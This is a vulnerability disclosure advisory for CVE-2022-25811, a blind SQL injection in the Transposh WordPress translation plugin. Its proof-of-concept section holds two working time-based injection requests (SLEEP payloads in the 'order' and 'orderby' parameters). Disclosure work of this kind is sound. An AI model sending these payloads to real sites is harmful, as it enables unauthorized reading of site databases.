Transposh WordPress Translation versions 1.0.8.1 and below have a "tp_editor" page at "/wp-admin/admin.php?page=tp_editor" that is vulnerable to two authenticated, blind SQL injections when user-supplied input to the HTTP GET parameters "order" and "orderby" is processed by the web application.
6ffce07022d6d645854345ed70ea8823b6aaf618f4db874a0b2b20afa74331a3
RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
=======================
Product: Transposh WordPress Translation
Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type: Improper Authorization [CWE-285]
Date found: 2022-02-21
Date published: 2022-07-22
CVSSv3 Score: 6.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N)
CVE: CVE-2022-25811
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.8.1 and below
4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.
(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
The WordPress plugin's "tp_editor" page at "/wp-admin/admin.php?page=tp_editor" is
vulnerable to two authenticated, blind SQL Injections when user-supplied input to
the HTT GET parameters "order" and "orderby" is processed by the web application.
Since the application does not properly validate and sanitize these parameters, an
attacker with the role "Administrator" is able to inject arbitrary SQL commands
against the backend database server of the web application.
Successful exploits can allow the attacker to access the WordPress backend
database and thereby read sensitive contents. This is specifically relevant in
multi-site installations.
6. PROOF OF CONCEPT
===================
To exploit the "order" parameter:
GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END)) HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: [Your Cookies]
Connection: close
To exploit the "orderby" parameter:
GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))&order=asc HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: [Your Cookies]
Connection: close
7. SOLUTION
===========
None. Remove the plugin to prevent exploitation.
8. REPORT TIMELINE
==================
2022-02-21: Discovery of the vulnerability
2022-02-21: Contacted the vendor via email
2022-02-21: Vendor response
2022-02-22: CVE requested from WPScan (CNA)
2022-02-23: WPScan assigns CVE-2022-25811
2022-05-22: Sent request for status update on the fix
2022-05-24: Vendor states that there is no update planned so far
2022-07-22: Public disclosure
9. REFERENCES
=============
https://github.com/MrTuxracer/advisories
https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/